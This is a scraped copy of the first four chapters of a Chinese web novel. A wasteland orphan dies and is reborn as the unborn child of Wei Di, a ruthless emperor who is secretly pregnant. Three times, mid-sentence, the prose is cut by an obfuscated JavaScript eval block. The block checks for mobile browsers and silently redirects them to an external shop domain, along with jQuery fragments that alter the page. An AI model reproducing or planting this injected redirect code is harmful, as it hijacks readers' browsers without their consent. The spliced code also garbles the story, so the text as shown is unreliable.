《全天下都在求太子殿下别死!》 1. 第 1 章 废土的天空是灰暗的,四周原本繁华的城市已经在灾难下变成了废墟,风吹过这些废墟时会发出像狼嚎的声音。 初初以前经常被吓到,但是听多了,习惯之后就不会再被吓到。 他其实一直觉得习惯是个可怕的东西,毕竟失去可以习惯,离别可以习惯,受伤也可以习惯,就连接受死亡都可以习惯,似乎只要是习惯了就什么都没有关系了…… 这难道不可怕吗? 只是初初的泪水在此刻无法控制的涌了出来,泪水滑过脸颊,滴落在地上。 好疼…肚子疼,脑袋也疼。 他觉得自己以后应该是没有办法再觉得习惯这种东西可怕了,因为他感觉自己恐怕要死了。 不想死…… 他真的不想死…… 血从嘴角溢出来,瘦小的身体躺在地上,他的意识在往下沉,残留的意识在最后一刻有了力气,模糊的视线清晰了一瞬,停留在了前边几个人的身上,再慢慢移到了被他们抢夺走,然后在他们手里装着的属于自己的全部家当的麻袋上。 初初有在听爸爸妈妈的话好好活着,可是活着好累,好痛苦,他真的撑不下去了。 他知道爸爸妈妈最爱初初,所以肯定不会怪初初现在撑不下去,然后要去找他们。 只是其实最初的时候,初初不只是听爸爸妈妈的话,还有就是他自己也是想活下去的。 虽然他不知道死亡是什么感觉,但是在他的印象里,死亡一直以来都是非常恐怖的东西,所以他害怕死亡,恐惧着死亡。 若是没有人来抢他辛苦找到的食物还有打自己的话,初初觉得自己肯定是可以再坚持活下去。 但是被打真的太疼了,就算习惯了也还是会疼的受不了。 就这样吧。 他已经不想再挣扎。 视线越来越模糊,他渐渐感觉不到身体的存在,疼痛在远去,脑子里的最后一个想法是原来这就是死亡吗? 瘦小的身体渐渐的没有了呼吸,身体开始慢慢变的僵硬。 * 抢走初初麻袋的两人并不知道身后的小人已经断了气,他们翻找着手里的麻袋,看到麻袋里的东西后,表情从贪婪变成了不可置信。 纷纷骂道:“这都是些什么破烂?” 他们把东西全部都倒了出来。 其中一人指着地上的东西道:“老大,有照片,碗盆,还有筷子。” 被叫老大的男人皱眉:“没有别的了?你再找找看,整天看着他跟护什么宝贝似的护着这个麻袋还以为里面有什么值钱东西,结果就这?一张已经看不清人影的照片,一个已经破了的碗盆,还有一双断了的筷子,这算什么宝贝?都是些送人都不要的破烂!” 另一个一直在喊老大的瘦弱男人在听到老大的吩咐后,内心里其实是觉得找不到老大想要的宝贝,可是奈何他只是个小弟,他的想法并不重要,只能蹲下去仔仔细细的翻找起来。 在翻第三遍之后,他脸色也算不得好,这才停下来,起身拍了拍手。 “老大,什么都没有找到,除了破烂就是破烂。” 老大踢了一脚破烂里的盆,砰的一声响起,随后他往地上唾了一口:“呸,晦气!” “走!” 说完,便直直的往前走。 小弟则是往后看了一眼,但是很快又收回视线,声线抬高道:“好的,老大。”再抬脚跟了上去。 * 他们离开后,过了许久,一道脚步声响起。 “唉,真是个可怜的孩子。” 一个老人将地上被初初一直当做宝贝,却被那两人当做破烂的东西都用麻袋重新装好,再将地上的初初抬到肩膀上。 废土最不值钱的就是土地。 他将初初还有麻袋放进自己早就挖好的坑里。 布满皱纹的脸上是麻木,可是他虽然早就见过了这些的场景,但他还是不忍的,特别是对一个在废土里坚难求生的孩子就因为大人的贪婪而被活活打死,他如何能见这苦命的孩子死后连尸体都没有办法安宁。 “老头子我没有用,没有办法帮你报仇,只能在你死后给你找一个可以睡觉的地方。” “这辈子受了这么多苦,下辈子肯定可以投了好胎,去一个没有受到污染的世界,做个受家人宠爱,平平安安长大的孩子。” 老人说完就爬出了坑,他的双手干枯,皮贴着肉,拿着那把生了锈的铲子一下接一下的往洞里填土。 他年轻大了,虽然还有点力气,但是耐力不行,填土的活到了晚上才填完。 其实这个坑是老人挖给自己的,只是没有想到,最后不是他自己用上的,而是一个孩子。 这个世界他觉得真是糟糕透了,孩子在他看来是代表的人类的新生一代,可是现在的孩子基本都活不下去。 当一个种族的新生一代开始断层的时候,就代表这个种族在自取灭亡。 老人捶了捶自己酸痛的腰,道理其实大家都懂,只是没有什么人重视,他人微言轻,没有人会听他的,以前他还会在乎,现在经历的多了之后,他已经不怎么在乎了。 毕竟他已经老了,很快就要死了,而且人类的未来不是他这个老头子能管的。 或许未来哪一天人类会开窍吧,但是他觉得自己应该是看不到了。 他站在这个坑前站了许久,直到他自己都不知道是什么时候,才抬着已经站麻的双腿离开。 ———— 京城覆上了一层白雪,寒风刮的脸颊疼。 皇宫里的宫人们终日提心吊胆的伺候着那位,但是以起以前,现在在那位还是好伺候些的。 毕竟早先那位刚登基的时候,宫里可以说是血流成河,死了不少人,有原本幸运活下来的老人同他们这些新进来宫里的新人讲过当初的惨状。 能被送进来当太监宫女的,在进宫之前的家里条件基本都不怎么好,他们见过的大场面不多,性子再大也大不到哪里去,可不就为了活命每天提心吊胆,生怕哪一天做的让那位不满意而丢了性命。 天阴沉沉的,雪刚停没过多久就又下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846694|211744||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 了起来。 两个小宫女躲在角落,她们负责清扫地面的积雪,没有扫完不准离开,可是这鬼天气,刚扫完,马上又下回来了,她们没有办法,只能在一旁等着。 虽然身上穿着棉衣,可还是冷,寒风无孔不入,手冻的发红,这日子苦是苦,可是比起在宫外的日子还是要好过些的,每月有月钱拿,而且还包三餐,她们可以能吃饱。 陛下性子是喜怒无常了些,老人常说一不小心就可能丢命,但是她们只是底层的宫人,贵人的面很少看到,她们不觉得自己会轻易丢掉小命,可是害怕肯定是有的,只是与在宫外被饿死相比较起来,她们还是喜欢待在宫里。 “我听王嬷嬷说那位近来心情不怎么好,让我们近来别偷懒,免得被抓到错处,被打杀了。” “我同个房里的姐姐说是那位的身体不适,所以才心情不好。” “身体不适?” “对,还说那位症状是食欲不振,呕吐。” “啊?我记得我娘怀妹妹的时候就是这样的……” “别胡说!那位可是男子!” “啊!对!那位是男子!瞧我这嘴,尽说些要命的话,多谢妹妹的提醒,姐姐记你这份情!” “不用,姐姐别再有下回,不然怕是没人会愿意同你说话了。” “嗯!姐姐肯定谨记!” 风刮的越来越厉害,她们的声音渐渐被风声给掩盖。 * 灯火通明的养心殿里,魏帝坐在椅子上,一只手撑着头,闭着眼睛,面色有些苍白。 他有着一双极好看的凤眼,当年在没有变的如今这么疯的时候,相貌极好的他,在京城不知得了多少人的喜欢。 可至从那场变故发生后,一切都朝着众人意料之外发展。 当年的事,错不在陛下,这是所有人都知道的,但是杀兄囚父却是陛下亲手为之,臣子们都不太想掺和进他们的家事,可是那场变故迁扯太广,太多的人被牵连,不明不白的死在其中。 他们其实不想承认如今已经是最好的局面,可是要他们说出更好的结局来,却又是说不出来的。 养心殿里面的温度与外面的温度截然相反,魏帝只穿着一件单衣,能清楚的看到他的身材很好,肩宽腰窄,高挑修长。 大太监也是魏帝的贴身太监于年进来时眉心皱了皱,走到魏帝身边时开口道:“陛下,后面那位一直在闹着要见你。” 魏帝十分的平静,眼睛都没有打开,随意说:“让他闹,别让他死了就行。” 于年低头回:“是,陛下。” 魏帝不怎么喜欢除于年以外的宫人伺候,在经历那次变故后,他变的多疑起来,无法放着不信任或者是陌生的宫人待在自己的身边。 他缓缓睁开眼睛,面色的苍白褪去了些,但是心里头的恶心反胃感却是久久无法消失。 手边的茶已经变温,他拿起茶杯喝了一口。 另一只手放在自己的肚子上,虽还没有明显的显怀,可是却已经有了一点弧度,摸起来时很清楚。 2. 第 2 章 这是魏帝故意怀上的孩子,毕竟他辛苦打下来的皇位,可不能留给宗室那些人。 与那些人相比,他还是想要自己的血脉坐上皇位。 想起让自己怀上孩子的男人,魏帝肩膀上的已经愈合的咬痕就疼了起来,他忍不住骂道:“真是个野蛮人。” 魏帝骂是这样骂,可要是问他后不后悔? 他的回答肯定是不后悔的,毕竟那是他认真挑选出来的孩子另一个爹,身材属于一流不说,虽然刚开始动作是生涩了些,但是后面他是真的很舒服。 早些年魏帝是个最守规矩的人,后来发现就是因为自己太守规矩,所以所有人都在小瞧他,都不把他放在眼里后,他就彻底的醒悟了,规矩是世人用来约束好人的,而世人最喜欢欺负的也是好人,以前的他就是个很好的例子。 于年回来的时候手里端了一份酸枣,刚放下,魏帝就捏起一块放进嘴里,他的孕期反应有些重,除了吃酸的东西不吐外,吃其他任何东西都会想吐,特别是鱼,都不可以上桌,闻着一点味,他就会开始干呕。 因此,魏帝特地向御膳房下了旨“禁鱼”。 酸枣进了嘴,魏帝因不适皱起的眉心松下来几分,可还是没有什么想吃旁的东西的胃口。 一旁的于年表示自己很担心。 从最初听着魏帝的计划时,于年就是不怎么赞同的,毕竟怀孕生子对陛下的负担太重,他实在是担心陛下的身体承受不住这么大的负担。 可是奈何陛下执意,他于年只是一个奴才,根本就无法干预陛下的决定,只能听从陛下的旨意,为其在京城为陛下外出实施计划打掩护,等待着陛下成功怀孕归来。 他真不知道陛下现在如此肆意妄为究竟是好是坏,不过他最在意的还是陛下是否开心,毕竟在他看来,以前的陛下太苦,若现在的肆意妄为能让陛下开心,那就肆意妄为吧! 于年只是魏帝身边一个有着忠心的贴身太监,在他的心里头,魏帝永远都是最重要的,没有旁的可以超过魏帝在他心里头的地位。 瞧着魏帝脸色好了许多后,于年提议道:“陛下身子舒服些了吗?现在要不要再试着喝碗粥?” “今日吃的东西陛下差不多都吐了,再吃不下东西,奴才担心陛下身子受不住。” 原本想拒绝的魏帝听到后,沉默了一瞬,明白自己现在是双身子的人,他不想吃,可是孩子需要吃,就同意了于年的提议。 “嗯,端一碗来吧。” 大概用了半碗白粥,魏帝就放下碗,接着用素帕擦了擦嘴。 “来人!” 在门口守着的小太监闻声进来,进来时他低着头,不敢有看坐于上位之人的小动作。 于年让他将碗端了下去,出去时与进来时都不敢有半分小动作,他是于年的干儿子,算是宫里的老人,见的多了,自是懂规矩,因为不懂规矩的都已经死了。 陛下能用一点是一点,于年认为只要吃了,不管吃多少都比不吃要好。 外面还在下雪,京城的冬季寒冷,而魏帝畏寒,除了上朝会出去,基本都是窝在殿里处理奏折或者政务,还有就是画画。 他的画在他还是皇子的时候就在京城有了盛名,拜师被世人尊称为画圣的徐老先生,在其门下学习有五年,得真传,但画也颇有他个人特色,受许多人追捧。 都说往昔不可追,可是他萧恒这前半生最幸福的记忆都在以前。 虽然最痛苦的记忆也是一样在以前,但是这并不能阻挡他去回忆以前。 毕竟每次想要杀人的时候,他都是靠着以前幸福的记忆压下杀人的念头,若是不让他回忆,他可以带着整个魏国一起完蛋,可惜不可以。 魏帝常常感慨自己是一个有道德的皇帝,不会去无端杀人,不像他的父皇还有皇兄两个畜牲,没有丝毫的道德。 思绪到这,他的头又疼起来了,他伸出手揉了揉自己的太阳穴,随后将让他头疼的思绪压下。 揉完太阳穴,手放在肚子上,感受着肚子里的存在,烦躁的心情顿时好了一些。 ……… 次日。 屋檐上积着厚厚的白雪,而光秃秃的树上枝条凝着晶莹剔透的冰。 皇宫里夜晚下满雪的路上在天还没亮时就有宫人在扫雪,待魏帝醒来洗漱完,再用完膳准备上朝时就已经清理干净。 魏帝身上披着一件厚重的裘皮,裘皮通体黑色,肩上的黑毛里没有一根杂色,瞧着就知道肯定价值不菲。 手炉的温度刚刚好,他将其握在手里,走出温暖的寝殿时,身上是暖和,可迎面而来的冷风刮在脸上,是刺骨的,而且呼吸时,呼出来的气体形成白雾,缓缓朝远处飘去。 宣政殿里,魏帝坐在最高位。 他坐的随意,怎么舒服怎么来,并不顾忌满殿大臣,底下的大臣们早已习惯了陛下的随意,对他们来说,陛下能参与早朝,有问题时,能给出解决问题的办法,就已经是十分的不错。 他们对陛下的要求不多,毕竟人不能既要又要,有的时候太贪没有好处,反而只有坏处。 “有事请奏!无事退朝!” 伴随着一声大喊落下,大臣们的精神好了不少,今日的事有些多,他们必须打好精神。 最前面的丞相率先迈出一步。 “陛下!” “益州雪灾严重,百姓们流离失所,死伤惨重,此事绝不能再拖下去!” 益州雪灾是前几日传入的京中,传进京中时已经迟了,百姓们死伤惨重。 各地官府理应都存有用来赈灾的粮食还有银子,若是当地官府用了这些粮食与银子用来赈灾,百姓死伤不该如此惨重。 那么仔细想想就能知道大概率是原本应该负责的益州官员们因贪心贪污了应该用于赈灾的粮食还有银子,所以才会导致这次灾情这么的严重。 魏帝对于这种人向来都是给予的赐死,这次也不会例外。 “户部整理一份用来赈灾的粮食还有银子,巡察使郑阳将其送至益州,赈灾时一同查贪污的官员有哪些,证据确凿的,直接拉去百姓面前将头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846695|211744||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 砍了,随后一同将头颅与尸体挂在城墙上,最后所有参加了此次贪污的都夷三族。” 郑阳走出来一步,一张忠厚的脸上没有表情,恭敬行了一礼,应下:“是,陛下。” 其余大臣面面相觑,大部分都觉得这个惩罚有些严重,可是让他们此时与魏帝唱反调,肯定是不行的,陛下刚下了旨,他们现在反对其实可以说是抗旨,再且他们与益州那些贪污的官员们又没有什么关系。 当然,就算有关系,那也是离得很远了。 综合考虑下,他们觉得益州那些必死的官员们并不值得他们出手。 接下来又讨论了几件事,这几件事说大不大,反正没有益州雪灾的事大,可要说小也不小,毕竟也是要安排人花费时间与精力去完成的,但幸好是好解决的事,就是麻烦了一些而已。 退朝后,魏帝便去了御书房,今日份的奏折还没有处理。 只是瞧着奏折上的内容,他的面色冷了些。 由于魏帝的后宫一直空悬,有些老东西偏自不量力想要让他选秀,然后延绵子嗣,或者实在不愿的话,也可以在宗室选择一个继承人。 魏帝对此嗤之以鼻,他讨厌旁人替他做决定,而且他自己又不是不能生,而且他平生最厌烦的就是这种看不清楚局势又不自量力的蠢货。 “于年,将这份奏折的名字记下,记下后拿去烧掉。” 他讨厌的人记下,留着后面穿小鞋,他如今确实是个睚眦必报的性子,而这让他感到厌恶的东西,则选择了立即让于年去销毁,这种脏东西留下来,会让他觉得不舒服,对他来说不舒服的东西,就应该消失在这个世界上。 魏帝怀了孕,正是敏感的时期,自然是怎么随心怎么来,而且都已经当了皇帝,难不成还要委屈自己吗? 委屈自己的事,魏帝可干不出来。 于年接过奏折“是,陛下。” 他其实不用猜都知道这份奏折里究竟写了什么,那些大臣们来来回回让陛下感到厌烦的都是那几件事情,不是催促选秀就是从宗室里定下一个继承人。 这种事情,其实不光是陛下不赞同,他于年也是不赞同的。 陛下年纪又不大,而且又不是不能生,他真不明白他们为何如此急促? 于年想着等他们哪天把陛下逼急了之后,将他们家里的老母接到皇宫里封为妃子就一个个都老实了。 也就是现在陛下的心思全在肚子上,要是没有肚子里的那位,这些人保准没过多久都会见识到陛下折磨人的手段。 他将奏折的名字记到一个小本子里,本子上已经写了不少的人名字。 记下后,于年将奏折随手丢到火堆里,待奏折烧完,火原地只留被烧的看不出原本形状的一小堆灰烬。 等处理完奏折,魏帝停下毛笔,肩靠着椅背,双手放在自己的肚子上。 他很喜欢将手放上肚子上感受着孩子的存在,每天的感受都不一样,孩子的成长是迅速的,他每次摸着自己的肚子,都感觉孩子相较于昨日要大上一些。 3. 第 3 章 初初感觉自己到了一处很温暖的地方,可他的意识始终昏昏沉沉的,清醒的时间几乎没有。 他还不知道自己又转世为人,现在的身体还是个胚胎,身体虽然有感觉,但是灵魂却还没有完全进入身体,所以灵魂浮浮沉沉时,意识也跟着一起,不得清醒。 魏帝怀孕过三月,孕期反应就没有像之前那么的严重,胃口好了些,但是能吃下的东西还是不怎么多。 这几月的食欲不振让他消瘦了许多,显得脸部线条棱角分明,魏帝长相似母,皇后当初还是闺阁小姐时便是京城中有着盛名的美人,而且不光是有着美人的头衔,还有才女之称,只是选错了朗君,嫁入皇家,一入宫门深似海,在深信的枕边人暗算下死于非命。 他的眉目含情却无暖意,温柔里裹着化不开的阴翳。 今日难得没有下雪,日头挺足,魏帝便想着出去晒晒太阳,顺便走一走。 太医有说过,长期待在封闭的环境里对孩子不好,他一直都记着,只是由于这段时日他吃的少,所以没有什么力气,也没有什么精力,就导致魏帝整个人血气不足,不想外去,而且特别是在他处理完每日的政务与奏折后,不想外去的想法更甚。 如今是能吃下去,让魏帝添上几分气血,神气神比以往好了一些,他才肯出去走一走。 三个月大的肚子已经有了明显的弧度,但冬季的衣服厚重,能很好的遮住肚子,不过等天气热了之后,肚子也会随着一起变大,到那时想藏也藏不住。 太阳高高悬挂于天空上,蓝天很是清澈。 枝条上的冰已经化掉,道路上的雪清扫的很干净。 走到阳光下的魏帝感受着太阳带给他的温暖,他的肤色接近冷白,在阳光下瞧着有些透明感。 “陛下慢些走。” 于年不敢在外明目张胆的瞧着魏帝的肚子,只能小声嘱咐着。 魏帝:“嗯,朕晓得。” 他自然是知道自己得慢些走,而且还得每一步走得很稳妥才能避免有摔倒的可能。 费尽心思怀上的孩子,肯定是各方各面都要注意,伺候他的不能懈怠,他自己同样也不能懈怠,毕竟是他自己怀着孩子,旁人再多的关注都抵不上他自己刻意去注意。 ……… 亭子立于湖边,湖面上结了一层冰,厚度不知,没有人敢踩上去,万一冰面太薄,支撑不住人,摔进水里,就算尽快爬了上来,可这太冬天的,染上了风寒的机率是很大的,他们这些没有什么地位的宫人可不敢在皇宫里轻易生病,而那些地位高的,也没有那个有什么闲工夫去冰上玩。 于年在亭子里用酸梅煮着茶,之前魏帝吃酸梅时突发奇想用酸梅煮茶喝,本来对口味没有抱什么希望,可是在煮好魏帝尝过一口后,发现味道还不错,就嘴馋的时候会让于年煮上一壶喝。 “陛下万安。” 穿着圆领绯红色大红袍,前胸后背孔雀补子的正三品大理寺卿沈观复恭敬行礼。 他的长相俊朗,眉眼锋利却不冷硬,带着一种独属于他的清朗,眼神澄澈,像以前又感觉与以前不一样了。 魏帝瞧着他这恭敬的模样眉眼弯了起来“子安,我们之间不必如此生疏。” 其实魏帝一般不怎么笑的,除非看到熟人在自己面前装模作样的时候才会忍不住。 沈观复抬眸见魏帝笑盈盈的,他自己也忍不住笑了笑,随后无奈的坐下,神情努力调整为严肃,义正言辞道:“君臣有别,陛下。” 他其实也不想表现的与魏帝如此生疏,毕竟他们从小一起长大,而且在那场变故发生后,是他们两个互相支持着撑过那场变故,两人之间的情谊自然是不同的。 魏帝垂眸:“可是在这京城里,朕剩下的兄弟就只有子安你,你若与朕生疏起来,朕会很孤单。” 沈观复:“………” 他若不是非常了解魏帝,他恐怕真会被骗过去。 穿一条裤子长大的,只是一眼就能知道对方想做什么,每次惹祸,一个开始行动,另一个不用命令,直接秒跟,之后被抓包,接受惩罚的时候,也基本都是两个人一起。 也就导致皇后娘娘经常说她生的不是一个,而是双生子。 “陛下,别说了,臣认错。” “臣就是想少受那些御史弹劾,毕竟陛下你也知道他们有多烦人。” 沈观复举手投降。 魏帝点了点头,沈观复说御史烦人这点他赞同。 正好酸梅茶煮好,于年给魏帝还有沈观复都倒上一杯。 “这是什么?” 沈观复看着面前有着奇怪颜色,而且闻起来是酸味的东西。 魏帝解释“酸梅茶,味道还不错,你试试。”他没有喝,现在太烫,打算等冷了一些再喝。 “嗯…”沈观复表情有些复杂,喝的话他感觉魏帝越正经越不怀好意,可要是不喝,他觉得自己应该是没有这个选项的。 “臣等会喝。” 虽然没有不喝的选项,但是他可以制作别的选项,比如等会喝,至于等会是多久,沈观复自己也不知道。 魏帝知道他的小心思,懒的揭穿而已。 刚出炉的热茶在外面没过多久就冷了下来,魏帝端起来喝了一口,酸味蔓延在嘴里,待嘴里的酸味散去会出现甜味。 酸梅茶并不只是单调的酸味,而是酸甜味。 沈观复见魏帝喝了,心里头觉得陛下这次推荐应该是正经的,兴致上来,就也端起茶杯浅喝了一口。 可以诶。 味道意料之外的不错。 这酸梅茶还别说,沈观复挺喜欢的,一口下去感觉挺开胃的,让他都有了食欲。 “陛下,好喝!” 他夸道。 不过,他面上露出迟疑,刚才没有想到,现在他才记起来,陛下不是不怎么喜欢吃酸的东西吗? 奇怪,他们这才多久没见?陛下的口味怎么就改变了? 魏帝瞧了他一眼,看出了他的不解,在沈观复提问之前率先开口:“不该问的别问。” 沈观复:“………” 啧,真是无情,刚刚还说他们是好兄弟,现在就是不该问的别问。 他暗自吐槽。 魏帝的手不动声色的放到肚子上,怀孕这件事他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846696|211744||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 不确定要不要跟沈观复说,虽然知道说了沈观复不会多嘴去跟旁人讲,而且还会帮他对外瞒的死死。 不过,一个人总会有疏忽的时候,像喝了酒或是神志不清时,若是沈观复在这个时候讲了些不该讲的事情,他们的这份情谊也就到头了。 这样的情况是魏帝不愿意看到的,可是不告诉等后面自己将孩子生出来却不见孩子母亲的身影,沈观复肯定是会询问的。 自己总不好说孩子母亲死了,毕竟孩子的母亲是魏帝自己,自己咒自己死了,倒还不至于,所以这是一个麻烦事。 其实他本可以不这么纠结的,只是他最前面说的话确实是真情实意的,在这偌大的京城里,与他关系好的基本都已经在那场变故里死的差不多,唯独身体还好,能时常见面的只剩下沈观复一个。 魏帝只是太过在乎,所以对此事就会太过纠结。 算了。 他想了想,觉得这事暂时还不急。 闲聊过后,就是正事。 沈观复:“陛下,朝中大部分官员们都认为你对益州贪污官员们的惩罚过重。” 魏帝面不改色:“他们难道不该死?” 沈观复表面自己的立场:“臣是赞同陛下的,他们确实是该死。”他可不想被魏帝针对,更何况不管魏帝做什么,他身为魏帝的心腹,自然都是支持的。 魏帝喜欢他向着自己的话,笑着将手里的酸梅茶一饮而尽,喝完后再随手放下。 “贪污下来的银子,那些官员的家人们会一起用,既是得利者,就没有放过的说法,而且对他们朕只是夷三族已是仁慈。” 若不是怀了孩子他不好造太多的杀孽,怕影响到孩子,魏帝又不是干不出下发夷九族的旨意。 “陛下说的有理,既得利者,哪能放过。” 沈观复想到当初那些跟着前太子一起算计过他们的人,一个个的为了在太子面前出头得好处都想要他们死。 只是怕是他们都没有想到,陛下的命会这么大,在绝境下都可以活下来,甚至带着残兵还可以杀回京城。 陛下上位后的第一次动手就是清算在前太子挥下的得利者,看着那一张张当初有多嚣张,在大牢里就有多狼狈的脸,沈观复心里头其实并没有多少大仇得报的快感,只是觉得悲哀。 因为那几年死的人太多了,回过头瞧去,熟悉的人已经死的差不多,明明是从小长大的京城,理应觉得熟悉,可是沈观复却觉得十分的陌生。 原本理应最让他觉得熟悉的地方在短短的时间里变的陌生,可不就是一件会让人觉得悲哀的事? 他垂下眸,掩盖住眼中闪过的悲伤,再抬眸时,神情已经恢复到了往常的模样。 “外边凉,陛下别待太久,大理寺还有事情臣没有处理,接下来就不打扰陛下,待哪日臣得闲再来找陛下。” 沈观复向魏帝告退,他这次过来找魏帝实际上没有什么重要的事,只是想来陪魏帝聊聊天。 自魏帝登基后,除了第一年两人实在是忙得不行,没有什么时间见面闲聊外,到第二年不再像第一年忙碌后,沈观复得了闲就会进宫找魏帝。 4. 第 4 章 “陛下一定要保重身体。” “会的,子安。” 目送着沈观复离开,魏帝直到看不见对方的身影才收回视线。 空掉的茶杯被于年给补上,他慢慢的喝完这一杯酸梅茶,喝完后才起身回寝殿,在回寝殿的路上,原本还算晴朗的天空渐渐阴沉下来,雪花从天空飘落下来,落在脸上带来一瞬的凉意,随后融化成水珠。 魏帝停了下来,看着这以短短时间内形成的漫天雪花,觉得好看的同时又觉得自己好冷,凉意袭上来的时候,他才反应过来自己不应该待在风雪下。 现在不同以往,以前他可以与沈观复胡闹,一同在雪地里玩耍,可是现在不同,他怀了孩子,雪地里容易摔倒不说,要是得了风寒,不舒服的不是旁人,而是他自己。 所以他再次抬脚时,步伐快上不少,在风雪变的更大之前与于年回了寝殿。 寝殿里很暖和,魏帝走进寝殿后将披风脱下,在太暖和的地方他不喜欢穿的太厚,接着换上薄一点的寝衣,此时他不想再去御书房处理政务还有奏折,就让于年将奏折从御书房搬过来。 他的日子真的很充实,每天都有事情要处理,一开始坐上这个皇位,他是很不习惯的,太忙了,忙的他连休息的时间都没有什么,只是后面习惯了,习惯了忙碌,原本厌烦的心慢慢的平静下来,到如今魏帝的情绪算是挺稳定,非大事不会引起他的情绪波动。 暖黄色的烛光在窗户上映出魏帝的影子,直到夜深烛光才熄灭。 ……… 时间在流逝,不知不觉中已经到了元旦,沉寂的皇宫渐渐热闹起来,这个时候的宫人们不用再像以前一样提心吊胆,他们知道自己只要不犯大错都不会被打死,一些小错掌事的与嬷嬷们基本都会当没看见。 可是其中的度要把握好,要是犯的小错让掌事的还有嬷嬷们觉得有可能会牵连自己,他们虽不至于把人杀了,但是严厉的惩罚是有的,到时候犯错的人肯定会吃不了兜着走,所以就算是可以因为过春节而松懈了一些,可他们却还是不能彻底松懈的。 魏帝怀孕第五个月时,他的肚子已经有了较为明显的弧度。 这个时候的他能吃能睡,头三个月瘦下去的在这两个月都给补上了,甚至还有超过,他的脸暂时没有什么变化,但是肤色瞧着白里透红。 他摸着自己肚子,心里头并不怎么开心,以前的他喜欢元旦,因为对他来说那代表着亲人团聚,可是后面发生的事又在告诉他,他所在意的亲人实际上是个笑话,从那以后他就再也没有期待过元旦。 可是不期待归不期待,他没有想剥夺宫人们过节的快乐,该给的赏银还有新衣他都有让于年去准备,在元旦那日下发下去。 “陛下要出去看看吗?” 于年在一旁问。 他是期待可以得到出去的回答,可是他自己也是知道陛下大概率不会出去,当年的事情影响了太多的人,在他看到陛下是受影响最大的人。 作为一个陪伴着陛下长大,经历了所有的一切,于年是知道陛下有多痛苦的,只是他没有什么办法去减缓陛下的痛苦。 不过,他虽然确实是没有什么办法,但是在瞧着陛下的肚子时,他想这个孩子或许可以减少陛下的痛苦,毕竟陛下实在是太过在意肚子里的这个孩子,只要陛下有在意的人或者东西,这个皇宫就会有所改变,而不会像现在一般死气沉沉的。 魏帝如何能不知道于年在想什么,他轻轻摇头,表示了拒绝。 过节期间的政务相对减少,他耗费了半天的时间就处理完,剩下的半天时间打算看闲书,他书房里最多的是游记,有关情爱的闲书较少。 魏帝其实本质上不是一个想步入情爱的人,他喜欢自由,情爱对以前的他来说,是会阻拦自由的存在。 若不是现在已经登上了皇位,失去了想要的自由,而且为了能有一个可以继承皇位的继承人,他大概率是不会选择怀上这个孩子的。 可是这并不代表他不喜欢腹中的孩子,恰恰相反,他喜欢极了腹中的孩子。 因为这是他的血脉,是会从他腹中出生的孩子,他们天然就是同盟者,就像是他与母后一样。 魏帝从小就在母后的宠爱中长大,若不是那场变故突然发生,打得他个措手不及,让他连母后都没有救到,只能狼狈逃跑,在逃跑的时候,他一直都在留意母后的消息,等再次得知母后消息的时候是母后已经逝去。 他有的时候会想,要是没有这场变故的发生,母后还活着,他是不是就不会成为大臣们眼中阴晴不定的帝王,百姓们口中杀人如麻的皇帝? 魏帝每次想到这,都格外的惋惜,感慨着可惜这个世上没有如果。 * 半夜,烛火未灭。 魏帝躺在床上闭着眼睛,意识昏昏沉沉的,像是睡着了,又好像是没睡着。 他的心情有些低沉,影响了睡眠,睡得不怎么安稳,轻微的声响就能让他醒过来。 寝殿周围十分安静,于年对外面伺候的宫人们下了命令,晚上做事稳妥些,必须要轻手轻脚的,把陛下吵醒了谁都担待不起。 “呃嗯…” 肚子里的小家伙突然动了一下,魏帝被这奇怪的感觉惊醒,迷迷糊糊的睁开眼睛,手放上腹部许久,想知道自己的感觉有没有错,可肚子里的小东西没有再动。 待他彻底的清醒过来,眨了眨眼睛,还以为刚刚的感觉是自己在做梦,其实肚子里的小东西根本就没有动,就在他怀疑自己的时候。 小东西又动了一下,这一回魏帝放在腹部的手碰到了什么硬硬的东西,触感消失的很快,还没有等他分辨出来自己碰到的是什么,那东西就已经消失了。 “宝宝,动了……!” 魏帝瞪大眼睛,睡梦时的胎动感觉像是隔了一层膜,他没有感觉的很清晰,而现在这一次是在他清醒的 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细长的手指轻轻将躺在床上已经睡着的萧恒脸上杂乱的发丝拨开,她的手指指尖泛着凉意,声音轻柔。 萧恒已经很久很久没有梦到母后了,他想睁开眼睛看母后,却怎么都睁不开,只能听着她碎碎念。 “抱歉,阿恒,留下你一个人面对那些豺狼虎豹。” “母后对不起你,满怀期待将你带入这个世上,明明说好要给你最好,可是偏偏是母后识人不清将苦难带给了你……” 